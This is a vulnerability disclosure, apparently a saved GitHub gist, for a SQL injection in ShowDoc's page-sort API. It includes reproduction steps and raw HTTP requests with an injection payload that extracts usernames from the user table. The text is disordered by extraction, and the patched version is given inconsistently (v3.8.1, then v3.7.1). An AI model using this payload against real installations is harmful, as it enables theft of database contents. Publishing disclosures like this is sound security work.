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Vulnerability Type: SQL Injection

Affected Versions: v2.5.3 - v2.10.10, v3.0.0 - v3.6.2

Patched Version: v3.8.1

Severity: High

A SQL Injection vulnerability was discovered in the
"server/Application/Api/Controller/PageController.class.php" of showdoc. Because the
application fails to properly neutralize user-supplied input in the pages  parameter, an
attacker can craft malicious SQL statements to bypass authentication or extract sensitive
database information.

This vulnerability has been officially acknowledged by the vendor. This section provides
evidence of the current patch status:

Date of Contact: Mar 30, 2026

Vulnerability Disclosure: SQL Injection in
ShowDoc

1. Executive Summary

2. Description

3. Vendor Communication
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Vendor Response: The vendor confirmed the vulnerability and stated that it has been fixed
in the latest release.

Statement on Legacy Versions: The vendor explicitly stated that due to limited resources,
they will not backport security patches to older branches (v2.x and v3.x). They advise all
users to upgrade to the newest version.

As the vendor will not provide patches for the affected legacy versions, users must
immediately upgrade to version v3.7.1 or higher to mitigate this risk.

OS: Windows 11

Software Version: v3.6.2

Database: sqlite

PHP Version: v8.2.12

1. Register any low-privileged user.

Remediation

4. Proof of Concept (PoC)

Environment

Steps to Reproduce
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2. Create any Item.
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3. Create any page and save page.
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4. Get page_id and item_id to use in Step 5.

5. Send the following HTTP request with the malicous payload:

POST /showdoc/server/index.php?s=/Api/Page/sort HTTP/1.1
Host: 192.168.112.1:81

Content-Length: 176

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHT

Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded

Origin: http://192.168.112.1:81

Referer: http://192.168.112.1:81/showdoc/web/
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: showdoc_client_id=ecb35879-2050-4f6e-b365-d6d7dda7c0fe; PHPSESSID=f1h
Connection: keep-alive

pages={"243038742":["exp","(select+username+from+user+order+by+uid+asc+limit+

6. Get result from value of "s_number" in response:

POST /showdoc/server/index.php?s=/api/page/info HTTP/1.1

Host: 192.168.112.1:81

4/25/26, 3:33 PM SQL Injection PoC for showdoc · GitHub

https://gist.github.com/saDL0w/555e19668264f98d96259ad47ea33811 6/7

https://private-user-images.githubusercontent.com/272680868/573088640-8aae6eac-af6f-409d-b2ca-661dd31083b3.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzcxMzE0ODMsIm5iZiI6MTc3NzEzMTE4MywicGF0aCI6Ii8yNzI2ODA4NjgvNTczMDg4NjQwLThhYWU2ZWFjLWFmNmYtNDA5ZC1iMmNhLTY2MWRkMzEwODNiMy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDI1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQyNVQxNTMzMDNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1kNjYyNjJiMzI0ZjUzZWRlNjRhN2ExZGVkNjM5NGM2YzZmMTljYTFlYTNmYjdmODBmMzg0NTNhNjcyNWU2Yjc2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.4BRXK415xHuY18cDJmHwKvV9k5E6X_JbnuxRD1_PxsM
https://private-user-images.githubusercontent.com/272680868/573088640-8aae6eac-af6f-409d-b2ca-661dd31083b3.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzcxMzE0ODMsIm5iZiI6MTc3NzEzMTE4MywicGF0aCI6Ii8yNzI2ODA4NjgvNTczMDg4NjQwLThhYWU2ZWFjLWFmNmYtNDA5ZC1iMmNhLTY2MWRkMzEwODNiMy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDI1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQyNVQxNTMzMDNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1kNjYyNjJiMzI0ZjUzZWRlNjRhN2ExZGVkNjM5NGM2YzZmMTljYTFlYTNmYjdmODBmMzg0NTNhNjcyNWU2Yjc2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ.4BRXK415xHuY18cDJmHwKvV9k5E6X_JbnuxRD1_PxsM
https://private-user-images.githubusercontent.com/272680868/573092253-edd4d716-1e1a-41f4-ad6c-20df7d355548.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzcxMzE0ODMsIm5iZiI6MTc3NzEzMTE4MywicGF0aCI6Ii8yNzI2ODA4NjgvNTczMDkyMjUzLWVkZDRkNzE2LTFlMWEtNDFmNC1hZDZjLTIwZGY3ZDM1NTU0OC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDI1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQyNVQxNTMzMDNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT04YmEwNTE1OTA5OWVjNDQ3NTI4OWQ4YTM3NzcwODgxYzNlZDI2ODNiZmYwOTM5MjBlMDQ1NWE0ZmM1Nzg5ZWE3JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ._d_WZDl7IBjsFjOdw6SRT2BodZf165De9b1_vbL_nJw
https://private-user-images.githubusercontent.com/272680868/573092253-edd4d716-1e1a-41f4-ad6c-20df7d355548.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzcxMzE0ODMsIm5iZiI6MTc3NzEzMTE4MywicGF0aCI6Ii8yNzI2ODA4NjgvNTczMDkyMjUzLWVkZDRkNzE2LTFlMWEtNDFmNC1hZDZjLTIwZGY3ZDM1NTU0OC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDI1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQyNVQxNTMzMDNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT04YmEwNTE1OTA5OWVjNDQ3NTI4OWQ4YTM3NzcwODgxYzNlZDI2ODNiZmYwOTM5MjBlMDQ1NWE0ZmM1Nzg5ZWE3JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZyZXNwb25zZS1jb250ZW50LXR5cGU9aW1hZ2UlMkZwbmcifQ._d_WZDl7IBjsFjOdw6SRT2BodZf165De9b1_vbL_nJw


Content-Length: 93

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHT
Accept: application/json, text/plain, */*

Content-Type: application/x-www-form-urlencoded

Origin: http://192.168.112.1:81

Referer: http://192.168.112.1:81/showdoc/web/
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: showdoc_client_id=ecb35879-2050-4f6e-b365-d6d7dda7c0fe; PHPSESSID=f1h
Connection: keep-alive

page_id=243038742&user_token=de2887a24416ea486980213f8dc290618bec6a9cc7cb8845
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